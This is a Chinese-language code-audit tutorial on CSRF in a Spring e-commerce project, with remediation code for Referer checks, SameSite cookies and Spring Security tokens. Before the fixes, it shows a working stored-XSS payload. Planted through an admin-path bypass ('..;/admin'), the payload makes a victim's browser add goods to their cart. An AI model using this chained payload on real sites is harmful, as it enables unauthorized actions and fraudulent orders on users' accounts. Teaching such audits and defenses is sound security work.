CSRF真正和代码相关的内容不太多,主要还是看过滤器和拦截器。代码审计中的思路是检查是否校验Referer、是否给cookie设置SameSite属性和敏感操作是否会生成CSRF token,如果都不存在再查看请求参数中是否存在不可被攻击者猜测的字段,比如验证码等参数。
CSRF代码审计过程
案例项目中不存在Referer校验和CSRF token,所以网站肯定存在多处CSRF。除了修改密码处需要的原密码攻击者无法知晓外,其他功能点均存在CSRF。
我们以添加购物车功能为例,请求内容为下,没有任何token值
由于是json格式的请求,不能直接使用burp Generate CSRF PoC,因为burp生成的PoC无法伪造Content-Type。burp生成的CSRF PoC请求内容如下,可以看到Content-Type: text/plain
,并且post数据多出一个等号。
使用fetch跨域请求会先发送一个options请求,fetch设置no-cors模式又无法更改Content-Type。还有一种利用方法是使用flash+307跳转,这种方法只适用于老旧浏览器。
不过我们可以利用之前审计出来的漏洞组合起来利用。
首先我们通过未授权访问商品 http://localhost:8089/index/..;/admin/goods/edit/10896

将商品详细信息改为,该<script>
会发送添加商品10986到购物车的操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <script type="text/javascript" charset="utf-8"> const authUrl = `http: fetch( authUrl, { method: 'POST', credentials: 'include', headers: { 'Content-Type': 'application/json', 'X-Requested-With': 'XMLHttpRequest' }, body: '{"goodsId":10896,"goodsCount":1}', } ).catch(err => { throw err; }).then(() => { }); </script>
|
因为富文本编辑器会将我们输入的内容编码,在保存过程中抓包,修改goodsDetailContent参数为XSS payload
1
| <script type=\"text/javascript\" charset=\"utf-8\">const authUrl=`http://localhost:8089/shop-cart`;fetch(authUrl,{method:'POST',credentials:'include',headers:{'Content-Type':'application/json','X-Requested-With':'XMLHttpRequest'},body:'{\"goodsId\":10896,\"goodsCount\":1}'}).catch(err=>{throw err;}).then(()=>{});</script>
|

每当用户访问10896这个商品时都会触发XSS,然后XSS执行CSRF请求,将该商品添加到购物车中

查看购物车,发现该商品在未经人工操作的情况下被进入购物车。我们甚至还可以再添加结算和下订单操作,直接等待用户付款。

CSRF修复
校验Referer
Spring中可以使用interceptor来校验Referer,以下代码为例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| @Component public class RefererInterceptor extends HandlerInterceptorAdapter { private AntPathMatcher matcher = new AntPathMatcher(); @Autowired private RefererProperties properties; @Override public boolean preHandle(HttpServletRequest req, HttpServletResponse resp, Object handler) throws Exception { String referer = req.getHeader("referer"); String host = req.getServerName(); if ("POST".equals(req.getMethod())) { if (referer == null) { resp.setStatus(HttpServletResponse.SC_FORBIDDEN); return false; } java.net.URL url = null; try { url = new java.net.URL(referer); } catch (MalformedURLException e) { resp.setStatus(HttpServletResponse.SC_FORBIDDEN); return false; } if (!host.equals(url.getHost())) { if (properties.getRefererDomain() != null) { for (String s : properties.getRefererDomain()) { if (s.equals(url.getHost())) { return true; } } } return false; } } return true; } }
|
给cookie设置SameSite属性
关于SameSite属性可参考 https://mp.weixin.qq.com/s/YqSxIvbgq1DkAlUL5rBtqA
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| @Component public class CookieServiceInterceptor extends HandlerInterceptorAdapter {
@Override public boolean preHandle( HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { return true; }
@Override public void postHandle( HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception { Collection<String> headers = response.getHeaders(HttpHeaders.SET_COOKIE); boolean firstHeader = true; for (String header : headers) { if (firstHeader) { response.setHeader(HttpHeaders.SET_COOKIE, String.format("%s; %s", header, "SameSite=strict")); firstHeader = false; continue; } response.addHeader(HttpHeaders.SET_COOKIE, String.format("%s; %s", header, "SameSite=strict")); } } @Override public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception exception) throws Exception {} }
|
设置CSRF token
CSRF token生成可以借助Spring Security框架,默认提供CSRF防护。Spring Security的CSRF防护是基于Filter来实现的,Spring Security提供多种保存token的策略,既可以保存在cookie中,也可以保存在session中,保存方法可以手动指定。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain) throws ServletException, IOException { request.setAttribute(HttpServletResponse.class.getName(), response); CsrfToken csrfToken = this.tokenRepository.loadToken(request); final boolean missingToken = csrfToken == null; if (missingToken) { csrfToken = this.tokenRepository.generateToken(request); this.tokenRepository.saveToken(csrfToken, request, response); } request.setAttribute(CsrfToken.class.getName(), csrfToken); request.setAttribute(csrfToken.getParameterName(), csrfToken); if (!this.requireCsrfProtectionMatcher.matches(request)) { filterChain.doFilter(request, response); return; } String actualToken = request.getHeader(csrfToken.getHeaderName()); if (actualToken == null) { actualToken = request.getParameter(csrfToken.getParameterName()); } if (!csrfToken.getToken().equals(actualToken)) { if (this.logger.isDebugEnabled()) { this.logger.debug("Invalid CSRF token found for " + UrlUtils.buildFullRequestUrl(request)); } if (missingToken) { this.accessDeniedHandler.handle(request, response, new MissingCsrfTokenException(actualToken)); } else { this.accessDeniedHandler.handle(request, response, new InvalidCsrfTokenException(csrfToken, actualToken)); } return; } filterChain.doFilter(request, response); }
|
注意,不管是校验Referer还是设置SameSite,都不能防止同站发起的CSRF,比如本文所举的例子就没法防范。XSS也可能从页面中获取CSRF token再进行攻击,这些防范方法都是提高攻击者的攻击难度,而不是完全消灭CSRF。真正重要的功能一定需要短信验证码或者密码之类的仅当前用户知道的参数才能进行操作,比如支付转账等。
参考资料
https://docs.spring.io/spring-security/site/docs/current/reference/html5/#csrf-protection
https://blog.csdn.net/junmoxi/article/details/89208311
https://www.cnblogs.com/volcano-liu/p/11301057.html
https://stackoverflow.com/questions/42998367/same-site-cookie-in-spring-security/43250133#43250133